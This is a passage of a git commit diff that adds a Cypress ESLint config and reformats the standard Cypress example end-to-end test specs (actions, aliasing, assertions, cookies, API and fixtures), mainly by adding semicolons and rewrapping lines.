getting there

This commit is contained in:
Ashish Jain
2022-02-10 20:32:21 +01:00
parent 3f6296b619
commit bb2dd2f5f3
381 changed files with 150220 additions and 72934 deletions

10
cypress/.eslintrc.json Normal file
View File

@@ -0,0 +1,10 @@
{
"env": {
"cypress/globals": true
},
"extends": ["plugin:cypress/recommended"],
"plugins": ["cypress"],
"rules":{
"cypress/no-unnecessary-waiting": 0
}
}

View File

@@ -2,15 +2,16 @@
context('Actions', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/actions')
})
cy.visit('https://example.cypress.io/commands/actions');
});
// https://on.cypress.io/interacting-with-elements
it('.type() - type into a DOM element', () => {
// https://on.cypress.io/type
cy.get('.action-email')
.type('fake@email.com').should('have.value', 'fake@email.com')
.type('fake@email.com')
.should('have.value', 'fake@email.com')
// .type() with special character sequences
.type('{leftarrow}{rightarrow}{uparrow}{downarrow}')
@@ -24,48 +25,52 @@ context('Actions', () => {
// Delay each keypress by 0.1 sec
.type('slow.typing@email.com', { delay: 100 })
.should('have.value', 'slow.typing@email.com')
.should('have.value', 'slow.typing@email.com');
cy.get('.action-disabled')
// Ignore error checking prior to type
// like whether the input is visible or disabled
.type('disabled error checking', { force: true })
.should('have.value', 'disabled error checking')
})
.should('have.value', 'disabled error checking');
});
it('.focus() - focus on a DOM element', () => {
// https://on.cypress.io/focus
cy.get('.action-focus').focus()
cy.get('.action-focus')
.focus()
.should('have.class', 'focus')
.prev().should('have.attr', 'style', 'color: orange;')
})
.prev()
.should('have.attr', 'style', 'color: orange;');
});
it('.blur() - blur off a DOM element', () => {
// https://on.cypress.io/blur
cy.get('.action-blur').type('About to blur').blur()
cy.get('.action-blur')
.type('About to blur')
.blur()
.should('have.class', 'error')
.prev().should('have.attr', 'style', 'color: red;')
})
.prev()
.should('have.attr', 'style', 'color: red;');
});
it('.clear() - clears an input or textarea element', () => {
// https://on.cypress.io/clear
cy.get('.action-clear').type('Clear this text')
cy.get('.action-clear')
.type('Clear this text')
.should('have.value', 'Clear this text')
.clear()
.should('have.value', '')
})
.should('have.value', '');
});
it('.submit() - submit a form', () => {
// https://on.cypress.io/submit
cy.get('.action-form')
.find('[type="text"]').type('HALFOFF')
cy.get('.action-form').submit()
.next().should('contain', 'Your form has been submitted!')
})
cy.get('.action-form').find('[type="text"]').type('HALFOFF');
cy.get('.action-form').submit().next().should('contain', 'Your form has been submitted!');
});
it('.click() - click on a DOM element', () => {
// https://on.cypress.io/click
cy.get('.action-btn').click()
cy.get('.action-btn').click();
// You can click on 9 specific positions of an element:
// -----------------------------------
@@ -81,16 +86,16 @@ context('Actions', () => {
// -----------------------------------
// clicking in the center of the element is the default
cy.get('#action-canvas').click()
cy.get('#action-canvas').click();
cy.get('#action-canvas').click('topLeft')
cy.get('#action-canvas').click('top')
cy.get('#action-canvas').click('topRight')
cy.get('#action-canvas').click('left')
cy.get('#action-canvas').click('right')
cy.get('#action-canvas').click('bottomLeft')
cy.get('#action-canvas').click('bottom')
cy.get('#action-canvas').click('bottomRight')
cy.get('#action-canvas').click('topLeft');
cy.get('#action-canvas').click('top');
cy.get('#action-canvas').click('topRight');
cy.get('#action-canvas').click('left');
cy.get('#action-canvas').click('right');
cy.get('#action-canvas').click('bottomLeft');
cy.get('#action-canvas').click('bottom');
cy.get('#action-canvas').click('bottomRight');
// .click() accepts an x and y coordinate
// that controls where the click occurs :)
@@ -102,90 +107,83 @@ context('Actions', () => {
.click(100, 185)
.click(125, 190)
.click(150, 185)
.click(170, 165)
.click(170, 165);
// click multiple elements by passing multiple: true
cy.get('.action-labels>.label').click({ multiple: true })
cy.get('.action-labels>.label').click({ multiple: true });
// Ignore error checking prior to clicking
cy.get('.action-opacity>.btn').click({ force: true })
})
cy.get('.action-opacity>.btn').click({ force: true });
});
it('.dblclick() - double click on a DOM element', () => {
// https://on.cypress.io/dblclick
// Our app has a listener on 'dblclick' event in our 'scripts.js'
// that hides the div and shows an input on double click
cy.get('.action-div').dblclick().should('not.be.visible')
cy.get('.action-input-hidden').should('be.visible')
})
cy.get('.action-div').dblclick().should('not.be.visible');
cy.get('.action-input-hidden').should('be.visible');
});
it('.check() - check a checkbox or radio element', () => {
// https://on.cypress.io/check
// By default, .check() will check all
// matching checkbox or radio elements in succession, one after another
cy.get('.action-checkboxes [type="checkbox"]').not('[disabled]')
.check().should('be.checked')
cy.get('.action-checkboxes [type="checkbox"]').not('[disabled]').check().should('be.checked');
cy.get('.action-radios [type="radio"]').not('[disabled]')
.check().should('be.checked')
cy.get('.action-radios [type="radio"]').not('[disabled]').check().should('be.checked');
// .check() accepts a value argument
cy.get('.action-radios [type="radio"]')
.check('radio1').should('be.checked')
cy.get('.action-radios [type="radio"]').check('radio1').should('be.checked');
// .check() accepts an array of values
cy.get('.action-multiple-checkboxes [type="checkbox"]')
.check(['checkbox1', 'checkbox2']).should('be.checked')
.check(['checkbox1', 'checkbox2'])
.should('be.checked');
// Ignore error checking prior to checking
cy.get('.action-checkboxes [disabled]')
.check({ force: true }).should('be.checked')
cy.get('.action-checkboxes [disabled]').check({ force: true }).should('be.checked');
cy.get('.action-radios [type="radio"]')
.check('radio3', { force: true }).should('be.checked')
})
cy.get('.action-radios [type="radio"]').check('radio3', { force: true }).should('be.checked');
});
it('.uncheck() - uncheck a checkbox element', () => {
// https://on.cypress.io/uncheck
// By default, .uncheck() will uncheck all matching
// checkbox elements in succession, one after another
cy.get('.action-check [type="checkbox"]')
.not('[disabled]')
.uncheck().should('not.be.checked')
cy.get('.action-check [type="checkbox"]').not('[disabled]').uncheck().should('not.be.checked');
// .uncheck() accepts a value argument
cy.get('.action-check [type="checkbox"]')
.check('checkbox1')
.uncheck('checkbox1').should('not.be.checked')
.uncheck('checkbox1')
.should('not.be.checked');
// .uncheck() accepts an array of values
cy.get('.action-check [type="checkbox"]')
.check(['checkbox1', 'checkbox3'])
.uncheck(['checkbox1', 'checkbox3']).should('not.be.checked')
.uncheck(['checkbox1', 'checkbox3'])
.should('not.be.checked');
// Ignore error checking prior to unchecking
cy.get('.action-check [disabled]')
.uncheck({ force: true }).should('not.be.checked')
})
cy.get('.action-check [disabled]').uncheck({ force: true }).should('not.be.checked');
});
it('.select() - select an option in a <select> element', () => {
// https://on.cypress.io/select
// Select option(s) with matching text content
cy.get('.action-select').select('apples')
cy.get('.action-select').select('apples');
cy.get('.action-select-multiple')
.select(['apples', 'oranges', 'bananas'])
cy.get('.action-select-multiple').select(['apples', 'oranges', 'bananas']);
// Select option(s) with matching value
cy.get('.action-select').select('fr-bananas')
cy.get('.action-select').select('fr-bananas');
cy.get('.action-select-multiple')
.select(['fr-apples', 'fr-oranges', 'fr-bananas'])
})
cy.get('.action-select-multiple').select(['fr-apples', 'fr-oranges', 'fr-bananas']);
});
it('.scrollIntoView() - scroll an element into view', () => {
// https://on.cypress.io/scrollintoview
@@ -194,27 +192,21 @@ context('Actions', () => {
// because they're not within
// the viewable area of their parent
// (we need to scroll to see them)
cy.get('#scroll-horizontal button')
.should('not.be.visible')
cy.get('#scroll-horizontal button').should('not.be.visible');
// scroll the button into view, as if the user had scrolled
cy.get('#scroll-horizontal button').scrollIntoView()
.should('be.visible')
cy.get('#scroll-horizontal button').scrollIntoView().should('be.visible');
cy.get('#scroll-vertical button')
.should('not.be.visible')
cy.get('#scroll-vertical button').should('not.be.visible');
// Cypress handles the scroll direction needed
cy.get('#scroll-vertical button').scrollIntoView()
.should('be.visible')
cy.get('#scroll-vertical button').scrollIntoView().should('be.visible');
cy.get('#scroll-both button')
.should('not.be.visible')
cy.get('#scroll-both button').should('not.be.visible');
// Cypress knows to scroll to the right and down
cy.get('#scroll-both button').scrollIntoView()
.should('be.visible')
})
cy.get('#scroll-both button').scrollIntoView().should('be.visible');
});
it('.trigger() - trigger an event on a DOM element', () => {
// https://on.cypress.io/trigger
@@ -228,12 +220,12 @@ context('Actions', () => {
cy.get('.trigger-input-range')
.invoke('val', 25)
.trigger('change')
.get('input[type=range]').siblings('p')
.should('have.text', '25')
})
.get('input[type=range]')
.siblings('p')
.should('have.text', '25');
});
it('cy.scrollTo() - scroll the window or element to a position', () => {
// https://on.cypress.io/scrollTo
// You can scroll to 9 specific positions of an element:
@@ -251,22 +243,22 @@ context('Actions', () => {
// if you chain .scrollTo() off of cy, we will
// scroll the entire window
cy.scrollTo('bottom')
cy.scrollTo('bottom');
cy.get('#scrollable-horizontal').scrollTo('right')
cy.get('#scrollable-horizontal').scrollTo('right');
// or you can scroll to a specific coordinate:
// (x axis, y axis) in pixels
cy.get('#scrollable-vertical').scrollTo(250, 250)
cy.get('#scrollable-vertical').scrollTo(250, 250);
// or you can scroll to a specific percentage
// of the (width, height) of the element
cy.get('#scrollable-both').scrollTo('75%', '25%')
cy.get('#scrollable-both').scrollTo('75%', '25%');
// control the easing of the scroll (default is 'swing')
cy.get('#scrollable-vertical').scrollTo('center', { easing: 'linear' })
cy.get('#scrollable-vertical').scrollTo('center', { easing: 'linear' });
// control the duration of the scroll (in ms)
cy.get('#scrollable-both').scrollTo('center', { duration: 2000 })
})
})
cy.get('#scrollable-both').scrollTo('center', { duration: 2000 });
});
});

View File

@@ -2,8 +2,8 @@
context('Aliasing', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/aliasing')
})
cy.visit('https://example.cypress.io/commands/aliasing');
});
it('.as() - alias a DOM element for later use', () => {
// https://on.cypress.io/as
@@ -12,31 +12,25 @@ context('Aliasing', () => {
// We don't have to traverse to the element
// later in our code, we reference it with @
cy.get('.as-table').find('tbody>tr')
.first().find('td').first()
.find('button').as('firstBtn')
cy.get('.as-table').find('tbody>tr').first().find('td').first().find('button').as('firstBtn');
// when we reference the alias, we place an
// @ in front of its name
cy.get('@firstBtn').click()
cy.get('@firstBtn').click();
cy.get('@firstBtn')
.should('have.class', 'btn-success')
.and('contain', 'Changed')
})
cy.get('@firstBtn').should('have.class', 'btn-success').and('contain', 'Changed');
});
it('.as() - alias a route for later use', () => {
// Alias the route to wait for its response
cy.server()
cy.route('GET', 'comments/*').as('getComment')
cy.server();
cy.route('GET', 'comments/*').as('getComment');
// we have code that gets a comment when
// the button is clicked in scripts.js
cy.get('.network-btn').click()
cy.get('.network-btn').click();
// https://on.cypress.io/wait
cy.wait('@getComment').its('status').should('eq', 200)
})
})
cy.wait('@getComment').its('status').should('eq', 200);
});
});

View File

@@ -2,8 +2,8 @@
context('Assertions', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/assertions')
})
cy.visit('https://example.cypress.io/commands/assertions');
});
describe('Implicit Assertions', () => {
it('.should() - make an assertion about the current subject', () => {
@@ -23,7 +23,7 @@ context('Assertions', () => {
// first need to invoke jQuery method text()
// and then match using regular expression
.invoke('text')
.should('match', /column content/i)
.should('match', /column content/i);
// a better way to check element's text content against a regular expression
// is to use "cy.contains"
@@ -32,33 +32,33 @@ context('Assertions', () => {
.find('tbody tr:last')
// finds first <td> element with text content matching regular expression
.contains('td', /column content/i)
.should('be.visible')
.should('be.visible');
// for more information about asserting element's text
// see https://on.cypress.io/using-cypress-faq#How-do-I-get-an-elements-text-contents
})
});
it('.and() - chain multiple assertions together', () => {
// https://on.cypress.io/and
cy.get('.assertions-link')
.should('have.class', 'active')
.and('have.attr', 'href')
.and('include', 'cypress.io')
})
})
.and('include', 'cypress.io');
});
});
describe('Explicit Assertions', () => {
// https://on.cypress.io/assertions
it('expect - make an assertion about a specified subject', () => {
// We can use Chai's BDD style assertions
expect(true).to.be.true
const o = { foo: 'bar' }
expect(true).to.be.true;
const o = { foo: 'bar' };
expect(o).to.equal(o)
expect(o).to.deep.equal({ foo: 'bar' })
expect(o).to.equal(o);
expect(o).to.deep.equal({ foo: 'bar' });
// matching text using regular expression
expect('FooBar').to.match(/bar$/i)
})
expect('FooBar').to.match(/bar$/i);
});
it('pass your own callback function to should()', () => {
// Pass a function to should that can have any number
@@ -71,14 +71,14 @@ context('Assertions', () => {
// https://on.cypress.io/$
// return an array of texts from all of the p's
// @ts-ignore TS6133 unused variable
const texts = $p.map((i, el) => Cypress.$(el).text())
const texts = $p.map((i, el) => Cypress.$(el).text());
// jquery map returns jquery object
// and .get() convert this to simple array
const paragraphs = texts.get()
const paragraphs = texts.get();
// array should have length of 3
expect(paragraphs, 'has 3 paragraphs').to.have.length(3)
expect(paragraphs, 'has 3 paragraphs').to.have.length(3);
// use second argument to expect(...) to provide clear
// message with each assertion
@@ -86,27 +86,27 @@ context('Assertions', () => {
'Some text from first p',
'More text from second p',
'And even more text from third p',
])
})
})
]);
});
});
it('finds element by class name regex', () => {
cy.get('.docs-header')
.find('div')
// .should(cb) callback function will be retried
.should(($div) => {
expect($div).to.have.length(1)
expect($div).to.have.length(1);
const className = $div[0].className
const className = $div[0].className;
expect(className).to.match(/heading-/)
expect(className).to.match(/heading-/);
})
// .then(cb) callback is not retried,
// it either passes or fails
.then(($div) => {
expect($div, 'text content').to.have.text('Introduction')
})
})
expect($div, 'text content').to.have.text('Introduction');
});
});
it('can throw any error', () => {
cy.get('.docs-header')
@@ -114,55 +114,56 @@ context('Assertions', () => {
.should(($div) => {
if ($div.length !== 1) {
// you can throw your own errors
throw new Error('Did not find 1 element')
throw new Error('Did not find 1 element');
}
const className = $div[0].className
const className = $div[0].className;
if (!className.match(/heading-/)) {
throw new Error(`Could not find class "heading-" in ${className}`)
throw new Error(`Could not find class "heading-" in ${className}`);
}
})
})
});
});
it('matches unknown text between two elements', () => {
/**
* Text from the first element.
*
* @type {string}
*/
let text
*/
let text;
/**
* Normalizes passed text,
* useful before comparing text with spaces and different capitalization.
* Normalizes passed text, useful before comparing text with spaces and different capitalization.
*
* @param {string} s Text to normalize
*/
const normalizeText = (s) => s.replace(/\s/g, '').toLowerCase()
*/
const normalizeText = (s) => s.replace(/\s/g, '').toLowerCase();
cy.get('.two-elements')
.find('.first')
.then(($first) => {
// save text from the first element
text = normalizeText($first.text())
})
text = normalizeText($first.text());
});
cy.get('.two-elements')
.find('.second')
.should(($div) => {
// we can massage text before comparing
const secondText = normalizeText($div.text())
const secondText = normalizeText($div.text());
expect(secondText, 'second text').to.equal(text)
})
})
expect(secondText, 'second text').to.equal(text);
});
});
it('assert - assert shape of an object', () => {
const person = {
name: 'Joe',
age: 20,
}
};
assert.isObject(person, 'value is object')
})
})
})
assert.isObject(person, 'value is object');
});
});
});

View File

@@ -2,55 +2,54 @@
context('Connectors', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/connectors')
})
cy.visit('https://example.cypress.io/commands/connectors');
});
it('.each() - iterate over an array of elements', () => {
// https://on.cypress.io/each
cy.get('.connectors-each-ul>li')
.each(($el, index, $list) => {
console.log($el, index, $list)
})
})
cy.get('.connectors-each-ul>li').each(($el, index, $list) => {
console.log($el, index, $list);
});
});
it('.its() - get properties on the current subject', () => {
// https://on.cypress.io/its
cy.get('.connectors-its-ul>li')
// calls the 'length' property yielding that value
.its('length')
.should('be.gt', 2)
})
.should('be.gt', 2);
});
it('.invoke() - invoke a function on the current subject', () => {
// our div is hidden in our script.js
// $('.connectors-div').hide()
// https://on.cypress.io/invoke
cy.get('.connectors-div').should('be.hidden')
cy.get('.connectors-div')
.should('be.hidden')
// call the jquery method 'show' on the 'div.container'
.invoke('show')
.should('be.visible')
})
.should('be.visible');
});
it('.spread() - spread an array as individual args to callback function', () => {
// https://on.cypress.io/spread
const arr = ['foo', 'bar', 'baz']
const arr = ['foo', 'bar', 'baz'];
cy.wrap(arr).spread((foo, bar, baz) => {
expect(foo).to.eq('foo')
expect(bar).to.eq('bar')
expect(baz).to.eq('baz')
})
})
expect(foo).to.eq('foo');
expect(bar).to.eq('bar');
expect(baz).to.eq('baz');
});
});
it('.then() - invoke a callback function with the current subject', () => {
// https://on.cypress.io/then
cy.get('.connectors-list > li')
.then(($lis) => {
expect($lis, '3 items').to.have.length(3)
expect($lis.eq(0), 'first item').to.contain('Walk the dog')
expect($lis.eq(1), 'second item').to.contain('Feed the cat')
expect($lis.eq(2), 'third item').to.contain('Write JavaScript')
})
})
})
cy.get('.connectors-list > li').then(($lis) => {
expect($lis, '3 items').to.have.length(3);
expect($lis.eq(0), 'first item').to.contain('Walk the dog');
expect($lis.eq(1), 'second item').to.contain('Feed the cat');
expect($lis.eq(2), 'third item').to.contain('Write JavaScript');
});
});
});

View File

@@ -2,77 +2,78 @@
context('Cookies', () => {
beforeEach(() => {
Cypress.Cookies.debug(true)
Cypress.Cookies.debug(true);
cy.visit('https://example.cypress.io/commands/cookies')
cy.visit('https://example.cypress.io/commands/cookies');
// clear cookies again after visiting to remove
// any 3rd party cookies picked up such as cloudflare
cy.clearCookies()
})
cy.clearCookies();
});
it('cy.getCookie() - get a browser cookie', () => {
// https://on.cypress.io/getcookie
cy.get('#getCookie .set-a-cookie').click()
cy.get('#getCookie .set-a-cookie').click();
// cy.getCookie() yields a cookie object
cy.getCookie('token').should('have.property', 'value', '123ABC')
})
cy.getCookie('token').should('have.property', 'value', '123ABC');
});
it('cy.getCookies() - get browser cookies', () => {
// https://on.cypress.io/getcookies
cy.getCookies().should('be.empty')
cy.getCookies().should('be.empty');
cy.get('#getCookies .set-a-cookie').click()
cy.get('#getCookies .set-a-cookie').click();
// cy.getCookies() yields an array of cookies
cy.getCookies().should('have.length', 1).should((cookies) => {
// each cookie has these properties
expect(cookies[0]).to.have.property('name', 'token')
expect(cookies[0]).to.have.property('value', '123ABC')
expect(cookies[0]).to.have.property('httpOnly', false)
expect(cookies[0]).to.have.property('secure', false)
expect(cookies[0]).to.have.property('domain')
expect(cookies[0]).to.have.property('path')
})
})
cy.getCookies()
.should('have.length', 1)
.should((cookies) => {
// each cookie has these properties
expect(cookies[0]).to.have.property('name', 'token');
expect(cookies[0]).to.have.property('value', '123ABC');
expect(cookies[0]).to.have.property('httpOnly', false);
expect(cookies[0]).to.have.property('secure', false);
expect(cookies[0]).to.have.property('domain');
expect(cookies[0]).to.have.property('path');
});
});
it('cy.setCookie() - set a browser cookie', () => {
// https://on.cypress.io/setcookie
cy.getCookies().should('be.empty')
cy.getCookies().should('be.empty');
cy.setCookie('foo', 'bar')
cy.setCookie('foo', 'bar');
// cy.getCookie() yields a cookie object
cy.getCookie('foo').should('have.property', 'value', 'bar')
})
cy.getCookie('foo').should('have.property', 'value', 'bar');
});
it('cy.clearCookie() - clear a browser cookie', () => {
// https://on.cypress.io/clearcookie
cy.getCookie('token').should('be.null')
cy.getCookie('token').should('be.null');
cy.get('#clearCookie .set-a-cookie').click()
cy.get('#clearCookie .set-a-cookie').click();
cy.getCookie('token').should('have.property', 'value', '123ABC')
cy.getCookie('token').should('have.property', 'value', '123ABC');
// cy.clearCookies() yields null
cy.clearCookie('token').should('be.null')
cy.clearCookie('token').should('be.null');
cy.getCookie('token').should('be.null')
})
cy.getCookie('token').should('be.null');
});
it('cy.clearCookies() - clear browser cookies', () => {
// https://on.cypress.io/clearcookies
cy.getCookies().should('be.empty')
cy.getCookies().should('be.empty');
cy.get('#clearCookies .set-a-cookie').click()
cy.get('#clearCookies .set-a-cookie').click();
cy.getCookies().should('have.length', 1)
cy.getCookies().should('have.length', 1);
// cy.clearCookies() yields null
cy.clearCookies()
cy.clearCookies();
cy.getCookies().should('be.empty')
})
})
cy.getCookies().should('be.empty');
});
});

View File

@@ -2,81 +2,85 @@
context('Cypress.Commands', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
// https://on.cypress.io/custom-commands
it('.add() - create a custom command', () => {
Cypress.Commands.add('console', {
prevSubject: true,
}, (subject, method) => {
// the previous subject is automatically received
// and the commands arguments are shifted
Cypress.Commands.add(
'console',
{
prevSubject: true,
},
(subject, method) => {
// the previous subject is automatically received
// and the commands arguments are shifted
// allow us to change the console method used
method = method || 'log'
// allow us to change the console method used
method = method || 'log';
// log the subject to the console
// @ts-ignore TS7017
console[method]('The subject is', subject)
// log the subject to the console
// @ts-ignore TS7017
console[method]('The subject is', subject);
// whatever we return becomes the new subject
// we don't want to change the subject so
// we return whatever was passed in
return subject
})
// whatever we return becomes the new subject
// we don't want to change the subject so
// we return whatever was passed in
return subject;
}
);
// @ts-ignore TS2339
cy.get('button').console('info').then(($button) => {
// subject is still $button
})
})
})
cy.get('button')
.console('info')
.then(($button) => {
// subject is still $button
});
});
});
context('Cypress.Cookies', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
// https://on.cypress.io/cookies
it('.debug() - enable or disable debugging', () => {
Cypress.Cookies.debug(true)
Cypress.Cookies.debug(true);
// Cypress will now log in the console when
// cookies are set or cleared
cy.setCookie('fakeCookie', '123ABC')
cy.clearCookie('fakeCookie')
cy.setCookie('fakeCookie', '123ABC')
cy.clearCookie('fakeCookie')
cy.setCookie('fakeCookie', '123ABC')
})
cy.setCookie('fakeCookie', '123ABC');
cy.clearCookie('fakeCookie');
cy.setCookie('fakeCookie', '123ABC');
cy.clearCookie('fakeCookie');
cy.setCookie('fakeCookie', '123ABC');
});
it('.preserveOnce() - preserve cookies by key', () => {
// normally cookies are reset after each test
cy.getCookie('fakeCookie').should('not.be.ok')
cy.getCookie('fakeCookie').should('not.be.ok');
// preserving a cookie will not clear it when
// the next test starts
cy.setCookie('lastCookie', '789XYZ')
Cypress.Cookies.preserveOnce('lastCookie')
})
cy.setCookie('lastCookie', '789XYZ');
Cypress.Cookies.preserveOnce('lastCookie');
});
it('.defaults() - set defaults for all cookies', () => {
// now any cookie with the name 'session_id' will
// not be cleared before each new test runs
Cypress.Cookies.defaults({
whitelist: 'session_id',
})
})
})
});
});
});
context('Cypress.Server', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
// Permanently override server options for
// all instances of cy.server()
@@ -86,71 +90,71 @@ context('Cypress.Server', () => {
Cypress.Server.defaults({
delay: 0,
force404: false,
})
})
})
});
});
});
context('Cypress.arch', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
it('Get CPU architecture name of underlying OS', () => {
// https://on.cypress.io/arch
expect(Cypress.arch).to.exist
})
})
expect(Cypress.arch).to.exist;
});
});
context('Cypress.config()', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
it('Get and set configuration options', () => {
// https://on.cypress.io/config
let myConfig = Cypress.config()
let myConfig = Cypress.config();
expect(myConfig).to.have.property('animationDistanceThreshold', 5)
expect(myConfig).to.have.property('baseUrl', null)
expect(myConfig).to.have.property('defaultCommandTimeout', 4000)
expect(myConfig).to.have.property('requestTimeout', 5000)
expect(myConfig).to.have.property('responseTimeout', 30000)
expect(myConfig).to.have.property('viewportHeight', 660)
expect(myConfig).to.have.property('viewportWidth', 1000)
expect(myConfig).to.have.property('pageLoadTimeout', 60000)
expect(myConfig).to.have.property('waitForAnimations', true)
expect(myConfig).to.have.property('animationDistanceThreshold', 5);
expect(myConfig).to.have.property('baseUrl', null);
expect(myConfig).to.have.property('defaultCommandTimeout', 4000);
expect(myConfig).to.have.property('requestTimeout', 5000);
expect(myConfig).to.have.property('responseTimeout', 30000);
expect(myConfig).to.have.property('viewportHeight', 660);
expect(myConfig).to.have.property('viewportWidth', 1000);
expect(myConfig).to.have.property('pageLoadTimeout', 60000);
expect(myConfig).to.have.property('waitForAnimations', true);
expect(Cypress.config('pageLoadTimeout')).to.eq(60000)
expect(Cypress.config('pageLoadTimeout')).to.eq(60000);
// this will change the config for the rest of your tests!
Cypress.config('pageLoadTimeout', 20000)
Cypress.config('pageLoadTimeout', 20000);
expect(Cypress.config('pageLoadTimeout')).to.eq(20000)
expect(Cypress.config('pageLoadTimeout')).to.eq(20000);
Cypress.config('pageLoadTimeout', 60000)
})
})
Cypress.config('pageLoadTimeout', 60000);
});
});
context('Cypress.dom', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
// https://on.cypress.io/dom
it('.isHidden() - determine if a DOM element is hidden', () => {
let hiddenP = Cypress.$('.dom-p p.hidden').get(0)
let visibleP = Cypress.$('.dom-p p.visible').get(0)
let hiddenP = Cypress.$('.dom-p p.hidden').get(0);
let visibleP = Cypress.$('.dom-p p.visible').get(0);
// our first paragraph has css class 'hidden'
expect(Cypress.dom.isHidden(hiddenP)).to.be.true
expect(Cypress.dom.isHidden(visibleP)).to.be.false
})
})
expect(Cypress.dom.isHidden(hiddenP)).to.be.true;
expect(Cypress.dom.isHidden(visibleP)).to.be.false;
});
});
context('Cypress.env()', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
// We can set environment variables for highly dynamic values
@@ -161,62 +165,61 @@ context('Cypress.env()', () => {
Cypress.env({
host: 'veronica.dev.local',
api_server: 'http://localhost:8888/v1/',
})
});
// get environment variable
expect(Cypress.env('host')).to.eq('veronica.dev.local')
expect(Cypress.env('host')).to.eq('veronica.dev.local');
// set environment variable
Cypress.env('api_server', 'http://localhost:8888/v2/')
expect(Cypress.env('api_server')).to.eq('http://localhost:8888/v2/')
Cypress.env('api_server', 'http://localhost:8888/v2/');
expect(Cypress.env('api_server')).to.eq('http://localhost:8888/v2/');
// get all environment variable
expect(Cypress.env()).to.have.property('host', 'veronica.dev.local')
expect(Cypress.env()).to.have.property('api_server', 'http://localhost:8888/v2/')
})
})
expect(Cypress.env()).to.have.property('host', 'veronica.dev.local');
expect(Cypress.env()).to.have.property('api_server', 'http://localhost:8888/v2/');
});
});
context('Cypress.log', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
it('Control what is printed to the Command Log', () => {
// https://on.cypress.io/cypress-log
})
})
});
});
context('Cypress.platform', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
it('Get underlying OS name', () => {
// https://on.cypress.io/platform
expect(Cypress.platform).to.be.exist
})
})
expect(Cypress.platform).to.be.exist;
});
});
context('Cypress.version', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
it('Get current version of Cypress being run', () => {
// https://on.cypress.io/version
expect(Cypress.version).to.be.exist
})
})
expect(Cypress.version).to.be.exist;
});
});
context('Cypress.spec', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/cypress-api')
})
cy.visit('https://example.cypress.io/cypress-api');
});
it('Get current spec information', () => {
// https://on.cypress.io/spec
// wrap the object so we can inspect it easily by clicking in the command log
cy.wrap(Cypress.spec).should('have.keys', ['name', 'relative', 'absolute'])
})
})
cy.wrap(Cypress.spec).should('have.keys', ['name', 'relative', 'absolute']);
});
});

View File

@@ -3,18 +3,18 @@
/// JSON fixture file can be loaded directly using
// the built-in JavaScript bundler
// @ts-ignore
const requiredExample = require('../../fixtures/example')
const requiredExample = require('../../fixtures/example');
context('Files', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/files')
})
cy.visit('https://example.cypress.io/commands/files');
});
beforeEach(() => {
// load example.json fixture file and store
// in the test context object
cy.fixture('example.json').as('example')
})
cy.fixture('example.json').as('example');
});
it('cy.fixture() - load a fixture', () => {
// https://on.cypress.io/fixture
@@ -22,57 +22,58 @@ context('Files', () => {
// Instead of writing a response inline you can
// use a fixture file's content.
cy.server()
cy.fixture('example.json').as('comment')
cy.server();
cy.fixture('example.json').as('comment');
// when application makes an Ajax request matching "GET comments/*"
// Cypress will intercept it and reply with object
// from the "comment" alias
cy.route('GET', 'comments/*', '@comment').as('getComment')
cy.route('GET', 'comments/*', '@comment').as('getComment');
// we have code that gets a comment when
// the button is clicked in scripts.js
cy.get('.fixture-btn').click()
cy.get('.fixture-btn').click();
cy.wait('@getComment').its('responseBody')
cy.wait('@getComment')
.its('responseBody')
.should('have.property', 'name')
.and('include', 'Using fixtures to represent data')
.and('include', 'Using fixtures to represent data');
// you can also just write the fixture in the route
cy.route('GET', 'comments/*', 'fixture:example.json').as('getComment')
cy.route('GET', 'comments/*', 'fixture:example.json').as('getComment');
// we have code that gets a comment when
// the button is clicked in scripts.js
cy.get('.fixture-btn').click()
cy.get('.fixture-btn').click();
cy.wait('@getComment').its('responseBody')
cy.wait('@getComment')
.its('responseBody')
.should('have.property', 'name')
.and('include', 'Using fixtures to represent data')
.and('include', 'Using fixtures to represent data');
// or write fx to represent fixture
// by default it assumes it's .json
cy.route('GET', 'comments/*', 'fx:example').as('getComment')
cy.route('GET', 'comments/*', 'fx:example').as('getComment');
// we have code that gets a comment when
// the button is clicked in scripts.js
cy.get('.fixture-btn').click()
cy.get('.fixture-btn').click();
cy.wait('@getComment').its('responseBody')
cy.wait('@getComment')
.its('responseBody')
.should('have.property', 'name')
.and('include', 'Using fixtures to represent data')
})
.and('include', 'Using fixtures to represent data');
});
it('cy.fixture() or require - load a fixture', function () {
// we are inside the "function () { ... }"
// callback and can use test context object "this"
// "this.example" was loaded in "beforeEach" function callback
expect(this.example, 'fixture in the test context')
.to.deep.equal(requiredExample)
expect(this.example, 'fixture in the test context').to.deep.equal(requiredExample);
// or use "cy.wrap" and "should('deep.equal', ...)" assertion
// @ts-ignore
cy.wrap(this.example, 'fixture vs require')
.should('deep.equal', requiredExample)
})
cy.wrap(this.example, 'fixture vs require').should('deep.equal', requiredExample);
});
it('cy.readFile() - read a files contents', () => {
// https://on.cypress.io/readfile
@@ -80,9 +81,9 @@ context('Files', () => {
// You can read a file and yield its contents
// The filePath is relative to your project's root.
